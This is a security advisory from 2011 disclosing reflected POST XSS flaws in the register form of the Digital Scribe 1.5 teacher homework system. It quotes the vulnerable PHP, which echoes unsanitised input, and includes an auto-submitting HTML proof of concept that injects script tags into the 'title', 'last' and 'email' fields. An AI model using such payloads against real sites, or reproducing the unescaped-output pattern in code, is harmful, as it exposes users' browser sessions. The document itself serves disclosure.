<!-- Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities Vendor: Digital Scribe Product web page: http://www.digital-scribe.org Affected version: 1.5 Summary: The Digital Scribe is a free, intuitive system designed to help teachers put student work and homework assignments online. Desc: Digital Scribe suffers from multiple POST XSS vulnerabilities. Input thru the POST parameters 'title', 'last' and 'email' in register.php is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site. ---------------------------------------------------------------------- register.php: ---------------------------------------------------------------------- 21: function register_form() { 22: global $user, $email, $last, $title, $passuno, $passuno2, $_POST, $_GET; 23: include("access.inc.php"); 24: ?> 25: <FORM METHOD=POST ACTION=register.php> 26: <table><tr><td align=right> 27: Title:</td><td><INPUT TYPE=TEXT NAME=title VALUE="<?php echo ($_POST['title']); ?>" SIZE=4> (Mr., Mrs., etc) 28: </td></tr> 29: <tr><td align=right>Last Name:</td><td><INPUT TYPE=TEXT NAME=last VALUE="<?php echo ($_POST['last']); ?>"></td></tr> 30: <tr><td align=right>Password:</td><td><INPUT TYPE=PASSWORD NAME=passuno></td></tr> 31: <tr><td> 32: Password Again:</td><td><INPUT TYPE=passWORD NAME=passuno2></td></tr> 33: <tr><td align=right> 34: E-Mail:</td><td><INPUT TYPE=TEXT NAME=email SIZE=34 VALUE=<?php echo $_POST['email'] ?>></td> 35: </tr><tr><td> 36: <?php 37: IF($_GET['type']=='a' OR $_POST['announcements']==4) { 38: echo '<INPUT TYPE=HIDDEN NAME=announcements VALUE=4>'; 39: } ---------------------------------------------------------------------- Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Vendor status: [28.07.2011] Vulnerabilities discovered. [28.07.2011] Initial contact with the vendor. [30.07.2011] No reply from vendor. [31.07.2011] Public security advisory released. Advisory ID: ZSL-2011-5030 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5030.php 28.07.2011 --> <html> <title>Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities</title> <body bgcolor="#1C1C1C"> <script type="text/javascript"> function xss(){document.forms["xss"].submit();} </script> <br /><br /> <form action="http://localhost/digitalscribe/digitalscribe/register.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss"> <input type="hidden" name="title" value='"><script>alert(1)</script>' /> <input type="hidden" name="last" value='"><script>alert(2)</script>' /> <input type="hidden" name="email" value='1"><script>alert(3)</script>' /> <input type="hidden" name="action" value="4" /> <input type="hidden" name="Submit" value="Register" /> </form> <a href="javascript: xss();" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit!</h3></center></font></b></a><br /><br /> </body></html>
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论